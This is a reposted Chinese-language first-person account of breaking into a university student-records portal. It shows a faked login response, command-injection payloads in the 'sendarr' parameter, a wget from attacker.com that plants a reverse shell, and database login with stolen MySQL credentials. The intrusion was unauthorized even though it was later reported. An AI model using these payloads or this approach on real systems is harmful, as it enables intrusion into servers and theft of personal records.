介绍
这是一篇关于我如何能够侵入大型大学解决方案门户服务器的简短文章,该门户拥有许多大学客户和数千名学生的数据。
发现
有一天,当我问老师我从她的登记簿上看我的出勤分数时,她拒绝了并说:“不,只要检查一下你的学生门户就好了。我没有再问什么,就回到了我的房间,打开了我的膝盖,登录了门户。在查看出勤率时,我的脑海中浮现了一些事情。“如果我黑了这个怎么办?”老师的拒绝和我的出勤分数(我缺勤)激发了我内心的黑客心态。我唯一的目标就是入侵这个服务器,仅此而已。然后我开始测试它......
目标
这是一个网站,印度许多大学/学院都使用它来管理学生记录、成绩单、出勤、答案簿等。该网站只能由学生和教师登录,因为注册需要有效的大学注册号。
此服务器还具有使用相同后端的移动应用程序。
侦察
所以像往常一样,我通过使用像Subfinder、Assetfinder、amass、crt.sh、ffuf这样的工具找到目标的几乎所有子域和子子域来开始侦察过程。我将目标的域存储在一个名为 “scope” 的文件中,并在其上运行这些工具。但是我找不到该域的任何有趣的子域。
门户本身是一个子域,类似于 studentportal.example.com。因此,我跳到了我的下一个侦察阶段,即目录扫描。我最喜欢的目录扫描工具是 FFUF。这是一种用于扫描目的的快速、可靠的工具。所以我运行了这个命令:
ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302
然后它运行了大约一分钟。
我找到了一个有趣的目录,叫做 /bkp。
离开扫描程序后,我快速访问了 /bkp 端点并找到了一个页面。这是备份门户的登录页面。我当时想......找到了我的第一步!!
所以现在我开始使用所有可能的默认凭据组合发送垃圾邮件,但没有一个有效。现在开始攻击链......
部分身份验证绕过
您可能想知道这里的身份验证绕过中的“部分”是什么,我将首先向您展示我是如何进行身份验证绕过的。
我开始了 BurpSuite 拦截并使用随机凭据发布。现在,我可以看到一个请求正在发送,其中包含我输入的数据。
真正的人已经可以在这里发现漏洞了!!
在响应中我们可以看到它向我们发送了 “failure”,这意味着登录验证在客户端验证中起着重要作用。响应操纵攻击的可能性。
因此,我检查了客户端代码,发现如果登录成功,服务器会在返回时返回要备份的数据,并将用户重定向到面板,该面板显示从登录返回的数据库名称。由于我不知道服务器中存在哪些备份,因此我尝试将“失败”编辑为“成功”。请求返回 200,并直接向 /bkp/connect.php 发送请求(connect.php 用于登录后端的 MYSQL 数据库)。
我看到我已登录面板!!
但它是部分的,这意味着,显示的数据库名称是 's'、'u'、'c'、'c'、'e'、's'、's',因为它将每个字母都视为数据库名称。
我无法看到可以备份的数据库的名称,但如果我知道数据库的名称,我可以使用备份功能。
远程代码执行
在面板中,我看到一个名为“备份”的按钮。此按钮的功能是将选定的备份数据下载到 zip 文件中。单击备份按钮后,它会向 /bkp/backup1.php 发送 POST 请求,并在名为“sendarr”的参数中发送备份数据库名称。
所以我尝试使用 sendarr 参数进行模糊测试大约 10-20 分钟,最后我找到了一个很大的领先优势。
当我将 sendarr 的值输入为 %00 (Nullbyte) 时,服务器崩溃并出现有趣的错误响应。
它在后端使用 exec() 函数来处理此备份。
PHP 中的 exec() 命令用于从 PHP 文件运行系统命令。
如果您想了解更多关于 exec() 的作用,请阅读 这里.
我很高兴看到这个响应,因为它表明服务器对这个进程使用 exec()。所以我立即注入了一个 payload,它确实休眠了 20 秒并发送了响应。
sendarr=|sleep 20
这 |(Pipe) 符号在 Bash/Linux 终端中用于将命令的响应重定向到另一个命令,基本上是链接。
所以当前命令将在后端显示以下内容:
./backup.sh | sleep 20
所以在运行 backup.sh 之后,它会运行 sleep 命令。
我发送请求并砰!!服务器响应请求需要 20.6 秒。现在我确认这是一个 RCE 漏洞。
目前它是盲目的,我需要在进一步移动之前获得可见的证据,所以我运行了一个命令并将输出重定向到 /var/www/html/out。
该网站的主目录是 /var/www/html,因此,如果我在主目录中放置一个包含我运行的命令输出的文件,我可以通过访问 /out 来查看输出。所以我注入了这个 payload:
sendarr=|id>/var/www/html/out
此有效负载在服务器上执行 “id” 命令,并将输出重定向到 out 文件。
然后我访问了 /out。和呃!!
现在我开始执行代码,我制作了一个简单的 python 脚本,像 shell 一样与服务器交互
现在是时候对服务器进行 PWN 了..
进入
现在,为了进入服务器,我使用了 PentestMonkey 的反向 shell。
我在攻击者的机器上托管了反向 shell 文件,并使用以下负载将其下载到目标服务器中:
sendarr=|wget https://attacker.com/rev.php
此命令将反向 shell 下载到网站主目录中。
现在我在 netcat 上启动了一个侦听器并访问了 /rev.php
我得到了 SHELL!!!
现在我成功地进入了服务器。
我既高兴又紧张。我确实有黑客的冲动,想要浏览文件以查找敏感信息。
我在服务器中找到了服务器中的每个程序文件,它们都暴露了学生数据管理、成绩卡生成程序、将学生分数添加到数据库的程序、插入出勤数据的程序、付款处理等功能。
在搜索文件时,我得到了我想要的东西......一个名为 consts.php 的文件,其中包含可用于登录数据库的 MySQL 凭证。
无需再等待,我快速尝试使用以下命令登录 MySQL:
mysql -h servername.rds.amazonaws.com -u username -p
砰!!我在数据库中!!
我找到了许多不同大学和学院的数据库。
我在列表中找到了我的大学,我试图找到我的出勤率、录取率、分数数据,我能够找到它!
以下是我找到的一些数据截图:
作为一个负责任的道德黑客,我不应该试图更改/删除/添加任何数据到数据库中。所以我把这件事报告给了我的学院院长,他把它转发给了这家服务提供商的 IT 团队,花了将近 2 周的时间才修复漏洞。
该数据库几乎拥有全国 100,000+ 名大学生的数据。
结论
最后,我完成了入侵服务器的任务。我花了 3 天时间才完成完整的漏洞利用链并到达数据库。
原文始发于微信公众号(安全狗的自我修养):我如何侵入一个全国性的大学数据库系统,暴露了数千条学生记录
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论